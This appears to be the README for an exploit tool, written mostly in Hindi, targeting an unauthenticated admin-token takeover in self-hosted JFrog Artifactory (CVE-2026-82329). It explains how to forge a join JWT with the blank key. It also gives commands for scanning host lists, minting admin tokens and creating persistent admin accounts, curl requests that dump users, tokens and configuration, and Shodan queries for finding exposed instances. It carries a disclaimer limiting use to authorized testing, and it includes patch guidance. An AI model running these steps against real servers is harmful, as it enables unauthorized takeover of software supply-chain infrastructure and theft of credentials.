
CVE-2026-82329 के लिए एक्सप्लॉइट, सेल्फ-होस्टेड JFrog Artifactory में एक अनऑथेंटिकेटेड ऑथ बायपास, जो ब्लैंक जॉइन की के माध्यम से एडमिन टोकन टेकओवर की अनुमति देता है।
╔══════════════════════════════════════════════════════════╗
║ artifactory · CVE-2026-82329 unauth admin takeover ║
║ mitsec · https://x.com/ynsmroztas ║
╚══════════════════════════════════════════════════════════╝
CVE-2026-82329 — JFrog Artifactory (स्व-होस्टेड) बिना प्रमाणीकरण के join-JWT
→ SERVICE admin टोकन → प्लेटफ़ॉर्म applied-permissions/admin एक्सेस टोकन।
CVSS 9.8 · CWE-287 · CISA KEV · जंगल में शोषित।
केवल अधिकृत परीक्षण। इसे उन सिस्टमों पर न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है।
डिफ़ॉल्ट स्व-होस्टेड इंस्टॉल एक खाली join key पर भरोसा करते हैं।
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
क्लाउड-होस्टेड JFrog पैच किया गया है। केवल स्व-होस्टेड।
Access फिक्स लाइन: 7.191.14।
# केवल stdlib — कोई pip नहीं
python3 artifactory.py -h
TLS सत्यापन डिफ़ॉल्ट रूप से बंद है (स्व-हस्ताक्षरित Artifactory सामान्य है)।
कोई अतिरिक्त फ्लैग नहीं।
# एकल होस्ट
python3 artifactory.py -u https://artifactory.example.internal:8082
# मिंटेड एडमिन टोकन प्रिंट करें
python3 artifactory.py -u https://TARGET:8082 --token
# सूची / पाइपलाइन (httpx, shodan, subfinder शैली)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise केवल — स्थानीय एडमिन बनाए रखें (विनाशकारी)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
| टैग | अर्थ |
|---|
--token Bearer मान प्रिंट करता है। यही अधिग्रहण है — लॉगिन उपयोगकर्ता वैकल्पिक है।
--create-admin अक्सर OSS पर 400 लौटाता है (PUT /artifactory/api/security/users Pro है)।
एडमिन टोकन फिर भी काम करता है। वैध निष्कर्ष के लिए स्थायित्व आवश्यक नहीं है।
TARGET बदलें और --token से टोकन पेस्ट करें।
TOKEN='eyJ...' # --token का आउटपुट
B='https://TARGET:8082'
# संस्करण / संस्करण
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# उपयोगकर्ता निर्देशिका (एडमिन)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# इंस्टेंस पर हर एक्सेस टोकन
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# रिपॉजिटरी इन्वेंट्री
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
अन्य उपयोगी केवल-एडमिन रीड (जब तक अधिकृत न हों लिखें नहीं):
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
UI: प्लेटफ़ॉर्म → Access Token से लॉगिन करें, या हर अनुरोध पर
Authorization: Bearer <token> भेजें।
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'
पासवर्ड नीति 400 ≠ असुरक्षित नहीं। टोकन में पहले से aud=* है।
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# सामान्य पोर्ट
8081 8082 8040 8046 443
टूल -u से /artifactory /ui /webapp हटाता है और उसी ओरिजिन पर Access राउटर से बात करता है।
--create-admin निष्कर्ष क्यों नहीं हैप्रभाव रिपोर्ट करें: बिना प्रमाणीकरण के प्लेटफ़ॉर्म एडमिनिस्ट्रेटर टोकन।
उपयोगकर्ता निर्माण एक अनुवर्ती है, मूल समस्या नहीं।
यह रिपॉजिटरी उन सिस्टमों के लिए एक वैलिडेटर है जिनका परीक्षण करने के लिए आप अधिकृत हैं।
तीसरे पक्ष के इंफ्रास्ट्रक्चर पर बिना अनुमति के टोकन मिंट करना, उपयोगकर्ताओं को सूचीबद्ध करना, या खाते बनाना अवैध है।
पैच: अपनी शाखा के लिए फिक्स्ड बिल्ड में अपग्रेड करें, एक वास्तविक join key सेट करें, प्रकटीकरण के बाद मिंटेड टोकन घुमाएं।
mitsec · @ynsmroztas
| चरण | अनुरोध | परिणाम |
|---|
| 1 | HS256 join JWT बनाएं (iat ताज़ा, skip_node_registration=true) | ज्ञात HMAC गुप्त कुंजी |
| 2 | POST /access/api/v1/registry/join | 201 SERVICE टोकन scp=admin |
| 3 | POST /access/api/v1/tokens | 200 एडमिन टोकन scp=applied-permissions/admin aud=* |
| 4 | GET /artifactory/api/system/configuration | केवल-एडमिन प्रमाण (unauth = 401) |
| शाखा | असुरक्षित ≤ | पैच किया गया |
|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
VULN | खाली join स्वीकृत + एडमिन प्रमाण (configuration या टोकन सूची = 200) |
SAFE | join अस्वीकृत — पैच किया गया, अतिरिक्त join keys सेट, या Access नहीं |
INFO | join मिंटेड, प्रमाण एंडपॉइंट 200 नहीं — मैन्युअल रूप से जांचें |
FAIL | नेटवर्क / टाइमआउट |
| सतह | OSS | Pro / Enterprise |
|---|
| एडमिन एक्सेस टोकन मिंट करें | हाँ | हाँ |
| कॉन्फ़िग / टोकन सूची / रेपो पढ़ें | हाँ | हाँ |
PUT /artifactory/api/security/users | 400 केवल-Pro | 200/201 |
POST /access/api/v2/users | संस्करण / नीति पर निर्भर | 201 |